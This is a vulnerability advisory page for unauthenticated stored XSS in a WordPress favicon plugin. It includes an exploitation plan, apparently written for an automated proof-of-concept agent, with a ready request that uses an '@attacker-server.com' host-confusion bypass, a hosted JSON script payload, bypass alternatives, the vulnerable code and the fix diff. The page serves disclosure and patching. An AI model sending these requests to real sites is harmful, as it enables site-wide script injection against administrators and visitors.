Favicon by RealFaviconGenerator <= 1.3.46 - Unauthenticated Stored Cross-Site Scripting
Description
The Favicon by RealFaviconGenerator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.46 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.46What Changed in the Fix
Changes introduced in v1.3.47
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42754 This document provides a technical plan for a Proof-of-Concept (PoC) exploit against the **Favicon by RealFaviconGenerator** plugin (<= 1.3.46). ## 1. Vulnerability Summary The plugin is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)*…
Show full research plan
Exploitation Research Plan: CVE-2026-42754
This document provides a technical plan for a Proof-of-Concept (PoC) exploit against the Favicon by RealFaviconGenerator plugin (<= 1.3.46).
1. Vulnerability Summary
The plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the install_new_favicon AJAX handler. This handler is registered with wp_ajax_nopriv_, meaning it is accessible to unauthenticated users. It fetches a JSON payload from a user-supplied URL, parses it, and stores the html_code property into the WordPress database without sufficient sanitization. This stored script is then executed in the context of any user (including administrators) viewing the favicon settings or the site's head section.
2. Attack Vector Analysis
- Vulnerable AJAX Action:
fbrfg_install_new_favicon(derived fromFavicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX+install_new_favicon). - Endpoint:
POST /wp-admin/admin-ajax.php - Vulnerable Parameter:
json_result_url - Authentication Required: None (Unauthenticated).
- Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: The plugin registers an unauthenticated AJAX hook in
admin/class-favicon-by-realfavicongenerator-admin.php:add_action( 'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon', array( $this, 'install_new_favicon' ) ); - Input Fetching: In
install_new_favicon(), the plugin retrieves$_REQUEST['json_result_url']. - URL Reconstruction (Bypass Logic):
An attacker can bypass the domain restriction using the$url = 'https://realfavicongenerator.net' . preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );@symbol (e.g.,json_result_url=@attacker.com/evil.json), which forces the client to treatrealfavicongenerator.netas a username andattacker.comas the actual host. - Data Retrieval: The plugin calls
download_result_json($url), which useswp_remote_get()to fetch the JSON from the attacker-controlled server. - Storage (Sink): The plugin (in the truncated logic of
install_new_favicon) extracts thehtml_codefrom the JSON response and stores it usingupdate_option(). - Execution: The stored HTML/Script is rendered in the
<head>section via theadmin_headhook or frontend hooks registered inFavicon_By_RealFaviconGenerator_Admin.
4. Nonce Acquisition Strategy
According to the source code in admin/class-favicon-by-realfavicongenerator-admin.php, the install_new_favicon function does not perform any nonce verification (check_ajax_referer or wp_verify_nonce) at the start of the function. Furthermore, it is registered as a nopriv action specifically to allow external callbacks.
Conclusion: No nonce is required for this exploit.
5. Exploitation Strategy
Step 1: Prepare the Malicious Payload
Host a file named exploit.json on a server accessible to the WordPress instance.
Payload Content (exploit.json):
{
"favicon_generation_result": {
"favicon": {
"html_code": "<script>alert('CVE-2026-42754-Stored-XSS');</script>"
}
}
}
Step 2: Trigger the Vulnerability
Send a request to the AJAX endpoint using the http_request tool.
- Method: POST
- URL:
http://[target-ip]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=fbrfg_install_new_favicon&json_result_url=@attacker-server.com/exploit.json
Step 3: Verify the Injection
Navigate to the site's homepage or the admin dashboard. The script should execute.
6. Test Data Setup
- Plugin Installation: Ensure
favicon-by-realfavicongeneratorversion 1.3.46 is installed and active. - External Server: The PoC agent must have a way to simulate an external server (e.g., using a mock endpoint or an internal listener).
7. Expected Results
- The AJAX request should return a
200 OKor a JSON success message (or a 500/error if the later part of the function fails, but the storage usually happens early). - The WordPress option
fbrfg_favicon_markups(inferred name) will now contain the<script>tag. - Upon visiting the homepage, the browser should trigger the
alert().
8. Verification Steps
After executing the HTTP request, verify the database state using WP-CLI:
# Check if the malicious payload is stored in options
wp option get fbrfg_favicon_markups
(Note: The exact option name might be fbrfg_favicon_markups or favicon_by_realfavicongenerator_settings. Check the public/class-favicon-by-realfavicongenerator-common.php if available to confirm).
9. Alternative Approaches
If the @ symbol bypass is filtered by the server's cURL configuration:
- Open Redirect: If
realfavicongenerator.nethas an open redirect, usejson_result_url=/redirect?url=http://attacker.com/exploit.json. - Parameter Injection: Try passing
json_result_urlas a full URL ifesc_url_rawfails to prepend the domain under certain PHP configurations. - Double Encoding: Try double-encoding the
@or path characters if a WAF is present.
Summary
The Favicon by RealFaviconGenerator plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient validation of the 'json_result_url' parameter in the 'install_new_favicon' AJAX handler. An attacker can use the '@' symbol bypass to trick the plugin into fetching a malicious JSON payload from an external server, which is then stored in the database and executed in the browser context of any user visiting the site.
Vulnerable Code
// admin/class-favicon-by-realfavicongenerator-admin.php line 80 add_action( 'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon', array( $this, 'install_new_favicon' ) ); --- // admin/class-favicon-by-realfavicongenerator-admin.php line 186 public function install_new_favicon() { header( 'Content-type: application/json' ); try { // URL is explicitely decoded to compensate the extra encoding performed while generating the settings page $url = 'https://realfavicongenerator.net' . preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
Security Fix
@@ -169,6 +169,33 @@ 'appearance.php'; } + private function build_json_result_url() { + // RFG is configured with path_only=true, so json_result_url is a path + // like /files/<hash>/json.json. We accept that, and also tolerate a + // full URL provided the host is realfavicongenerator.net. Any other + // host (including userinfo tricks like http://@attacker/poc.json, + // where realfavicongenerator.net would otherwise become the userinfo) + // is rejected. + $raw = esc_url_raw( wp_unslash( $_REQUEST['json_result_url'] ) ); + $parts = wp_parse_url( $raw ); + if ( ! is_array( $parts ) ) { + throw new InvalidArgumentException( 'Invalid favicon result URL' ); + } + if ( ! empty( $parts['host'] ) && + strtolower( $parts['host'] ) !== 'realfavicongenerator.net' ) { + throw new InvalidArgumentException( 'Invalid favicon result URL' ); + } + if ( ! empty( $parts['scheme'] ) && + ! in_array( strtolower( $parts['scheme'] ), array( 'http', 'https' ), true ) ) { + throw new InvalidArgumentException( 'Invalid favicon result URL' ); + } + + $path = isset( $parts['path'] ) ? $parts['path'] : '/'; + $query = isset( $parts['query'] ) ? '?' . $parts['query'] : ''; + + return 'https://realfavicongenerator.net' . $path . $query; + } + private function download_result_json( $url ) { $resp = wp_remote_get( $url ); if ( is_wp_error( $resp ) ) { @@ -186,12 +213,21 @@ public function install_new_favicon() { header( 'Content-type: application/json' ); + // Verify the nonce BEFORE doing anything that touches the + // json_result_url parameter. Otherwise an attacker who tricks + // an admin into opening a crafted URL could trigger the SSRF + // path and reflect attacker-controlled error messages. + $nonce = isset( $_REQUEST['_wpnonce'] ) ? $_REQUEST['_wpnonce'] : ''; + if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) { + echo wp_json_encode( array( + 'status' => 'error', + 'message' => __( 'Nonce check failed', FBRFG_PLUGIN_SLUG ), + ) ); + die(); + } + try { - // URL is explicitely decoded to compensate the extra encoding performed while generating the settings page - $url = 'https://realfavicongenerator.net' . - preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) ); - // esc_url_raw is used to sanitize the path. This functio adds a 'http://' prefix, which is then removed. - // This code cannot be moved to a helper, as phpcs won't detect it and report an issue. + $url = $this->build_json_result_url(); $result = $this->download_result_json( $url );
Exploit Outline
The exploit targets the unauthenticated AJAX endpoint 'wp-admin/admin-ajax.php' with the action 'fbrfg_install_new_favicon'. An attacker provides a 'json_result_url' parameter starting with an '@' symbol (e.g., '@attacker.com/malicious.json') to bypass the intended host restriction by exploiting how the URL is reconstructed. On the attacker's server, a JSON file is hosted with a 'favicon_generation_result' structure where the 'html_code' field contains a malicious JavaScript payload. The plugin fetches this JSON, parses it, and saves the malicious HTML into the WordPress database. This stored script is then rendered in the <head> section of all site pages, resulting in site-wide stored XSS.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.